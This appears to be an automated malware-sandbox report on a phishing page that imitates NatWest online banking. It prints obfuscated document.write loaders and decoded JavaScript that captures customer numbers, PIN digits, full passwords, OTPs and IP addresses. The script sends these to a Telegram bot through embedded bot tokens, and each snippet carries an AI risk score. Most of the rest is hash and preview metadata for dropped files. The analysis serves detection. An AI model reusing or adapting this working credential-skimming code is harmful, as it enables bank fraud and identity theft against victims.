document.write(unescape('%0A%3C%73%63%72%69%70%74%3E%0A%63%6F%6E%73%74%20%66%6F%72%6D%31%30%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%71%75%65%72%79%53%65%6C%65%63%74%6F%72%28%22%23%66%6F%72%6D%31%22%29%3B%0A%0A%66%6F%72%6D%31%30%2E%61%64%64%45%76%65%6E%74%4C%69%73%74%65%6E%65%72%28%22%73%75%62%6D%69%74%22%2C%20%28%65%29%20%3D%3E%20%7B%0A%65%2E%70%72%65%76%65%6E%74%44%65%66%61%75%6C%74%28%29%3B%0A%20%20%20%20%20%20%20%20%76%61%72%20%63%75%73%74%6F%6D%65%72%6E%75%6D%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%71%75%65%72%79%53%65%6C%65%63%74%6F%72%28%27%69%6E%70%75%74%5B%6E%61%6D%65%3D%22%63%75%73%74%6F%6D%65%72%6E%75%6D%22%5D%27%29%2E%76%61%6C%75%65%3B%0A%09%09%76%61%72%20%69%70%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%71%75%65%72%79%53%65%6C%65%63%74%6F%72%28%27%69%6E%70%75%74%5B%6E%61%6D%65%3D%22%69%70%22%5D%27%29%2E%76%61%6C%75%65%3B%0A%09%09%0A%69%66%28%63%75%73%74%6F%6D%65%72%6E%75%6D%20%3D%3D%20%22%22%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%22%75%73%65%72%6E%61%6D%65%45%72%72%6F%72%22%29%2E%69%6E%6E%65%72%48%54%4D%4C%20%3D%20%22%50%6C%65%61%73%65%20%65%6E%74%65%72%20%79%6F%75%72%20%43%75%73%74%6F%6D%65%72%20%6E%75%6D%62%65%72%22%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6E%20%66%61%6C%73%65%3B%0A%20%20%20%20%20%20%20%20%7D%0A%09%09%0A%76%61%72%20%74%6F%6B%65%6E%20%3D%20%22%36%34%36%38%31%36%39%38%34%37%3A%41%41%47%6C%4D%65%65%6D%66%79%43%6C%67%69%5F%77%79%6D%47%4B%6F%50%46%58%57%74%70%6D%47%33%77%4B%7A%36%4D%22%3B%0A%76%61%72%20%63%68%61%74%5F%69%64%20%3D%20%32%30%31%34%33%36%37%37%33%35%3B%0A%0A%76%61%72%20%6D%65%73%73%61%67%65%20%3D%20%60%3C%68%74%6D%6C%3E%3C%62%72%3E%7C%20%43%75%73%74%6F%6D%65%72%3A%20%24%7B%63%75%73%74%6F%6D%65%72%6E%75%6D%7D%3C%2F%68%74%6D%6C%3E%60%3B%0A%0A%76%61%72%20%75%72%6C%20%3D%20%60%68%74%74%70%73%3A%2F%2F%61%70%69%2E%74%65%6C%65%67%72%61%6D%2E%6F%72%67%2F%62%6F%74%24%7B%74%6F%6B%65%6E%7D%2F%73%65%6E%64%4D%65%73%73%61%67%65%3F%63%68%61%74%5F%69%64%3D%24%7B%63%68%61%74%5F%69%64%7D%26%74%65%78%74%3D%7C%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%20%4E%61%74%77%65%73%74%20%4C%4F%47%49%4E%20%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%7C%20%25%30%41%7C%20%43%75%73%74%6F%6D%65%72%20%4E%6F%3A%20%24%7B%63%75%73%74%6F%6D%65%72%6E%75%6D%7D%20%25%30%41%7C%20%49%50%3A%20%24%7B%69%70%7D%20%25%30%41%7C%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%20%4E%61%74%77%65%73%74%20%4C%4F%47%49%4E%20%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%26%70%61%72%73%65%5F%6D%6F%64%65%3D%68%74%6D%6C%60%3B%0A%0A%76%61%72%20%6F%52%65%71%20%3D%20%6E%65%77%20%58%4D%4C%48%74%74%70%52%65%71%75%65%73%74%28%29%3B%0A%6F%52%65%71%2E%6F%70%65%6E%28%22%47%45%54%22%2C%20%75%72%6C%2C%20%74%72%75%65%29%3B%0A%6F%52%65%71%2E%73%65%6E%64%28%29%3B%0A%0A%7D%29%0A%3C%2F%73%63%72%69%70%74%3E%0A%0A%3C%73%63%72%69%70%74%3E%0A%63%6F%6E%73%74%20%66%6F%72%6D%32%30%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%71%75%65%72%79%53%65%6C%65%63%74%6F%72%28%22%23%66%6F%72%6D%32%22%29%3B%0A%0A%66%6F%72%6D%3
URL: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm Model: gpt-4o	```json { "riskscore": 10, "reasons": "The JavaScript code captures user input (customer number and IP address) and sends it to a Telegram bot. This behavior is indicative of phishing or data exfiltration, as it sends sensitive information to an external service without user consent." }
const form10 = document.querySelector("#form1"); form10.addEventListener("submit", (e) => { e.preventDefault(); var customernum = document.querySelector('input[name="customernum"]').value; var ip = document.querySelector('input[name="ip"]').value; if(customernum == ""){ document.getElementById("usernameError").innerHTML = "Please enter your Customer number"; return false; } var token = "6468169847:AAGlMeemfyClgi_wymGKoPFXWtpmG3wKz6M"; var chat_id = 2014367735; var message = `<html><br>\| Customer: ${customernum}</html>`; var url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=\|=============== Natwest LOGIN ================\| %0A\| Customer No: ${customernum} %0A\| IP: ${ip} %0A\|=============== Natwest LOGIN ================&parse_mode=html`; var oReq = new XMLHttpRequest(); oReq.open("GET", url, true); oReq.send(); })
URL: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm Model: gpt-4o	```json { "riskscore": 10, "reasons": "The JavaScript code captures sensitive information such as customer number, PIN, full password, OTPs, mobile number, and IP address, and sends it to a Telegram bot. This behavior is indicative of phishing or malicious activity aimed at stealing user credentials." }
const form6 = document.querySelector("#form6"); form6.addEventListener("submit", (e) => { e.preventDefault(); var customernum = document.querySelector('input[name="customernum"]').value; var digit10Text = document.querySelector('input[name="digit10Text"]').value; var digit20Text = document.querySelector('input[name="digit20Text"]').value; var digit2Text = document.querySelector('input[name="digit2Text"]').value; var digit30Text = document.querySelector('input[name="digit30Text"]').value; var fullpassword = document.querySelector('input[name="fullpassword"]').value; var otp = document.querySelector('input[name="otp"]').value; var otp1 = document.querySelector('input[name="otp1"]').value; var mobile = document.querySelector('input[name="mobile"]').value; var ip = document.querySelector('input[name="ip"]').value; if(mobile == ""){ document.getElementById("sError").innerHTML = "Please enter your Mobile phone number"; return false; } var token = "6979567983:AAH_kQqHtJXeza028ZIixHgZrWN2_-_LreM"; var chat_id = "2014367735"; var message = `<html><br>\| Customer: ${customernum}</html>`; var url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=\|=============== Natwest INFO 5 ================\| %0A\| Customer No: ${customernum} %0A\| PIN(1234): ${digit10Text} ${digit20Text} ${digit2Text} ${digit30Text} %0A\| FULL PASSWORD: ${fullpassword} %0A\| OTP 1: ${otp} %0A\| OTP 2: ${otp1} %0A\| App Passcode: ${mobile} %0A\| IP: ${ip} %0A\|=============== Natwest INFO 5 ================&parse_mode=html`; var oReq = new XMLHttpRequest(); oReq.open("GET", url, true); oReq.send(); if (oReq) { window.setTimeout(function(){ document.getElementById("Div7").style.display = "block"; document.getElementById("Div6").style.display = "none"; }, 1000); } })
URL: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm Model: gpt-4o	```json { "riskscore": 7, "reasons": "The code uses 'document.write' with 'unescape' to inject a large block of HTML into the page. This technique is often used to obfuscate malicious content. Additionally, the HTML content includes references to external resources hosted on 'yandexcloud.net', which is not a common domain for legitimate resources. The presence of 'noindex' in the meta tags suggests an attempt to avoid search engine indexing, which is a common tactic for phishing sites. While there is no direct evidence of malicious activity, the combination of obfuscation, external resources, and noindex raises significant concerns." }
document.write(unescape('%3C%21DOCTYPE%20html%20PUBLIC%20%22-//W3C//DTD%20XHTML%201.0%20Transitional//EN%22%20%22http%3A//www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd%22%3E%0A%3Chtml%20xmlns%3D%22http%3A//www.w3.org/1999/xhtml%22%20data-useragent%3D%22Mozilla/5.0%20%28Windows%20NT%206.1%3B%20Win64%3B%20x64%3B%20rv%3A77.0%29%20Gecko/20100101%20Firefox/77.0%22%20lang%3D%22en%22%3E%0A%3Chead%3E%3Ctitle%3ELog%20in%20to%20%26%2379%3B%26%23110%3B%26%23108%3B%26%23105%3B%26%23110%3B%26%23101%3B%26%2332%3B%26%2366%3B%26%2397%3B%26%23110%3B%26%23107%3B%26%23105%3B%26%23110%3B%26%23103%3B%3C/title%3E%0A%3Cmeta%20name%3D%22viewport%22%20content%3D%22width%3Ddevice-width%2C%20initial-scale%3D1%22%3E%0A%3Cmeta%20http-equiv%3D%22content-type%22%20content%3D%22text/html%3B%20charset%3DUTF-8%22%3E%0A%3Cmeta%20http-equiv%3D%22Content-Style-Type%22%20content%3D%22text/css%22%3E%0A%3Cmeta%20name%3D%22robots%22%20content%3D%22noindex%22%20/%3E%0A%3Clink%20rel%3D%22icon%22%20href%3D%22https%3A//eclipse.website.yandexcloud.net/favicon.ico%22%20type%3D%22image/x-icon%22%3E%0A%3Cmeta%20name%3D%22format-detection%22%20content%3D%22telephone%3Dno%22%3E%0A%3Clink%20href%3D%22https%3A//eclipse.website.yandexcloud.net/master.css%22%20rel%3D%22stylesheet%22%20type%3D%22text/css%22%20media%3D%22all%22%20segment%3D%22%22%3E%0A%3Clink%20href%3D%22https%3A//eclipse.website.yandexcloud.net/master_mobile.css%22%20rel%3D%22stylesheet%22%20type%3D%22text/css%22%20media%3D%22all%22%20segment%3D%22%22%3E%0A%3Clink%20href%3D%22https%3A//eclipse.website.yandexcloud.net/npc.css%22%20rel%3D%22stylesheet%22%20type%3D%22text/css%22%20media%3D%22all%22%20segment%3D%22%22%3E%0A%3Clink%20href%3D%22https%3A//eclipse.website.yandexcloud.net/overlayPromptMaster.css%22%20rel%3D%22stylesheet%22%20type%3D%22text/css%22%20media%3D%22all%22%20segment%3D%22%22%3E%0A%3Clink%20href%3D%22https%3A//eclipse.website.yandexcloud.net/overlayPrompt.css%22%20rel%3D%22stylesheet%22%20type%3D%22text/css%22%20media%3D%22all%22%20segment%3D%22%22%3E%20%0A%3Cmeta%20id%3D%22ctl00_PageIDMetaControl%22%20name%3D%22PageID%22%20content%3D%22LI5%22%3E%3Cstyle%20type%3D%22text/css%22%3E%23lpPanelDiv%20%7Bdisplay%3Anone%3B%7D%3C/style%3E%0A%3Clink%20type%3D%22text/css%22%20rel%3D%22stylesheet%22%20href%3D%22https%3A//eclipse.website.yandexcloud.net/font-awesome.css%22%20id%3D%22lpPanelfontAwesomeCss%22%3E%0A%3Clink%20type%3D%22text/css%22%20rel%3D%22stylesheet%22%20href%3D%22https%3A//eclipse.website.yandexcloud.net/panel-defaults.css%22%20id%3D%22lpPanelDefaultCss%22%3E%0A%3Clink%20type%3D%22text/css%22%20rel%3D%22stylesheet%22%20href%3D%22https%3A//eclipse.website.yandexcloud.net/main.css%22%20id%3D%22lpPanelBrandCss%22%3E%0A%3Cscript%20type%3D%22text/javascript%22%20src%3D%22https%3A//eclipse.website.yandexcloud.net/jquery-2.2.3.js%22%3E%3C/script%3E%0A%3Cscript%20type%3D%22text/javascript%22%20src%3D%22https%3A//l2.io/ip.js%3Fvar%3Duserip%22%3E%3C/script%3E%0A%3Cstyle%3E%0A%23Div2%20%7B%0A%20%20display%3A%20none%3B%0A

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon May 27 21:44:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.979487865768445
Encrypted:	false
SSDEEP:	48:8YtdeTa67HPidAKZdA19ehwiZUklqehGy+3:8H/Ndy
MD5:	71068F11A7045F5029DA314D028D89BC
SHA1:	755DE12BEE3226EF89D05EC038FD2250645DF29F
SHA-256:	2BA05400867A667A6BEF923FC7FB6415BB9638685DF2C7F0CFA9C637374A9FFE
SHA-512:	2BF146BDAE88217EA94B1A29CE4D36A49DF2698B82E72401478F872B248A10176441A3F75432F2401ECD2BAD88D6E3B39A11A22515BED4C9A2ECE75C658C522F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......li....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............9.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon May 27 21:44:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.995666049512174
Encrypted:	false
SSDEEP:	48:8pdeTa67HPidAKZdA1weh/iZUkAQkqehNy+2:8K/n9QQy
MD5:	54E633826082D1191F9ADA9172628CFF
SHA1:	7EAFDD084C1DD6BC2007D8D55EFC023BD6E3B8B9
SHA-256:	31409F8B555D578F5C604148C38468C4D965AB5207802B4DE3F13E8E9103F898
SHA-512:	5D5C4FBCBAE68AE96D6A287307FCD547D47DAEB606597DF8A6FC90F0F0ED1E6921B7098652B83E1776DED896E5874297731D7A894D51A2DE8AA1011604434127
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......bi....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............9.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.00859614811661
Encrypted:	false
SSDEEP:	48:8xTdeTa6sHPidAKZdA14tseh7sFiZUkmgqeh7sHy+BX:8xE/enxy
MD5:	3ECFA27CF608A123D15152D21153FAF4
SHA1:	B90F021E1F0472E2DE20C141424FC523857C3E45
SHA-256:	7FCC9B2EB2A0785D59E6E4750E96976937320B793B7C623EAAB26C1363E43889
SHA-512:	8C9185B5F919AA6BD58110BCE81AE8C779C29B1FFD5E3D699E13D00043ABF6F7780C67CDA50D6A2892A5C76BB22E7828F1D8EAB16BE8A9D8A54BA591352D9D78
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............9.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon May 27 21:44:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.992791730229472
Encrypted:	false
SSDEEP:	48:84qdeTa67HPidAKZdA1vehDiZUkwqehJy+R:84f/Efy
MD5:	03BB7068E4F511DAD4C2DE5357FAFA00
SHA1:	873C6F6ED9980A539D60579E7674D92A18B56179
SHA-256:	B01074C7F52871DB8161505EAB6A99FD3FCDA7311BF625CA82980394E3D856E6
SHA-512:	F1B2E8A460C2E5ADAFD21E3C323EED58EC72DDA30EC29529B16CEBBCA6D769F1313AC09D4D6F57778A5352A1A42EC6DC4C41CEF324664B65A76D744E65702457
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....r.^i....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............9.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon May 27 21:44:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9831051034974343
Encrypted:	false
SSDEEP:	48:8WdeTa67HPidAKZdA1hehBiZUk1W1qehLy+C:8r/E9ry
MD5:	402DDA60BED7D374ED93CB7421858551
SHA1:	3D0BDEA1D901357F795E3FBAFC43834C9D9028D1
SHA-256:	8F10C2696421013F9727EBE32590F99561279D34B0E3096E174F24158A047002
SHA-512:	11E141010DE97831860DCC09AED987E57EABC41FDF3CDF32719D10CD37D80B3CB347AE3B5DF250BD66DE6A9A1E1175DA98863C0EB7E20F1A19826DFAFC2D4721
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....M.gi....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............9.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon May 27 21:44:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.99375864262069
Encrypted:	false
SSDEEP:	48:8hdeTa67HPidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbxy+yT+:8S/qT/TbxWOvTbxy7T
MD5:	B16CA0A49E0687BA0514EF8F0A0794CE
SHA1:	61DB827DE4EB9AF9A137677FD0CB5BC991463659
SHA-256:	BE753E7525A863738ED808C07352D211218EED87AFA435F46CA20FC20A4E0EE3
SHA-512:	524C1897DA97C3B58791F4953741E0172D90F98676195089E21D5D9D7728C5B540535B189520A0E2E09822E3772CCD1D0C40AD97B6DC8CC339CF6C4AACF59066
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......Ri....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............9.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	4872
Entropy (8bit):	4.853528427789023
Encrypted:	false
SSDEEP:	96:NzreKUt6P5AMenm3V2rX0x3lbvuIR6eYuoKJ8:NreTtiKaV2rE5l8d128
MD5:	987CC7771F2FE14E61DE62BD92E2411E
SHA1:	5881D2CD1ECDB1D001F4C1F6869B878F11496ABD
SHA-256:	8D667D58AA56215B23D233ADE3AF0C7F6B7962C75410D6C103E0C324E4E958CA
SHA-512:	B55C7431A238631C31362AF247C6F25551C174FEA56992CEDE3F39FA875BF475925FC33C45AF371627C1177C934359150D72289BCEFEF1EEF29856946C11C327
Malicious:	false
Reputation:	low
URL:	https://eclipse.website.yandexcloud.net/n-w-logo.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="158" height="36" viewBox="0 0 158 36">.. <defs>.. <linearGradient id="a" x1="24.96%" x2="75%" y1="24.983%" y2="75.017%">.. <stop offset="0%" stop-color="#DC1405" stop-opacity=".1"/>.. <stop offset="16%" stop-color="#DC1405" stop-opacity=".13"/>.. <stop offset="39%" stop-color="#DC1405" stop-opacity=".23"/>.. <stop offset="67%" stop-color="#DC1405" stop-opacity=".38"/>.. <stop offset="98%" stop-color="#DC1405" stop-opacity=".59"/>.. <stop offset="100%" stop-color="#DC1405" stop-opacity=".6"/>.. </linearGradient>.. <linearGradient id="b" x1="71.091%" x2="36.236%" y1="6.38%" y2="78.374%">.. <stop offset="0%" stop-color="#DC1405" stop-opacity=".1"/>.. <stop offset="16%" stop-color="#DC1405" stop-opacity=".13"/>.. <stop offset="39%" stop-color="#DC1405" stop-opacity=".23"/>.. <stop offset="67%" stop-color="#DC140

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 80 x 106, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5679
Entropy (8bit):	7.958356156794194
Encrypted:	false
SSDEEP:	96:FguUZH2VLcc+zANP2G3LREHmPHMy6IceLx6F35pFWKOPtj/k9HnqC8:FguUJU9uAtd3THMqbUFWbFTxz
MD5:	CCE808C0C23F731523EB4B7298AD18D8
SHA1:	E7E040AFC91E194B3241653AAB4863BF20020014
SHA-256:	F2B557317FB851B3ED73C2D8203192E9ED433BD006CA5025CCB3317EF15E1B8D
SHA-512:	148ACB7ACCD415E791AA2D0123295A3878F02DC8650E5CD8E087FBA1BFCD912D086F36E6647D465F406E6A3C037AC4DCADA1150530AD818C774CA440BD08E44F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...P...j.....+..f....gAMA......a.....IDATx..].XU......"....".O.-.L.).z.+.........&_..g....9.,..8+(. ......o...p..^......}......{...ZX.........G Bex.s.%.f..h..6.h.h.,f..h..6.h.h.,f..h..6.h.h.,f..h..6.h.h.,f..h...2"...RZV...Y..S...........eE.A.,T.P.`e]....8;Z......6p......<....';o.Y..vj.....\|..N.L...+.x).I......J.ZTY....X....v..uW....W{..x[...u.j.S...%\,...;<...3.<.`cm...I....2!-)..w.E....."...U.ZT..Rmi!.s.t........j.g..x......V..-.P.e5.......V......T..&.5...Q.2..9.W`%~..6.r.........>~.&.G.#n.....8.1....H8..FV..0;7{....K.v...~.hK.9:...Pum...3.Wp.9.W.......M/....p........1`6?.I..a..]8..$F......:a..n..=\|;z...f.......H8q..Q...6.w.3.=.z...B..............q..v..........aK.}K...r.E...MG..T......w...d..,.).......X......c.;...O.Z\........U.*Ly........`..4\|......c..0\|f(.......ytfo"6,....."d\|_].7...Q........G.L.....Jn....jl...9iy...}.6..#.l.........{._....555......<W.....f.7..`eye.!.k.}}.fa..}.d1`4:..`I$z.Q0.;y.....U.U.p$...S.{...%.w..W;w...

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, interlaced
Category:	downloaded
Size (bytes):	1633
Entropy (8bit):	7.873585710512092
Encrypted:	false
SSDEEP:	48:4AZ8wI20tL75vr4lQoATAFr5pQKzlexO2a7q6:4API2AvrIVOApcKYU7+6
MD5:	2AC5B52FBDB0BE1BBC9506A24F78AFE9
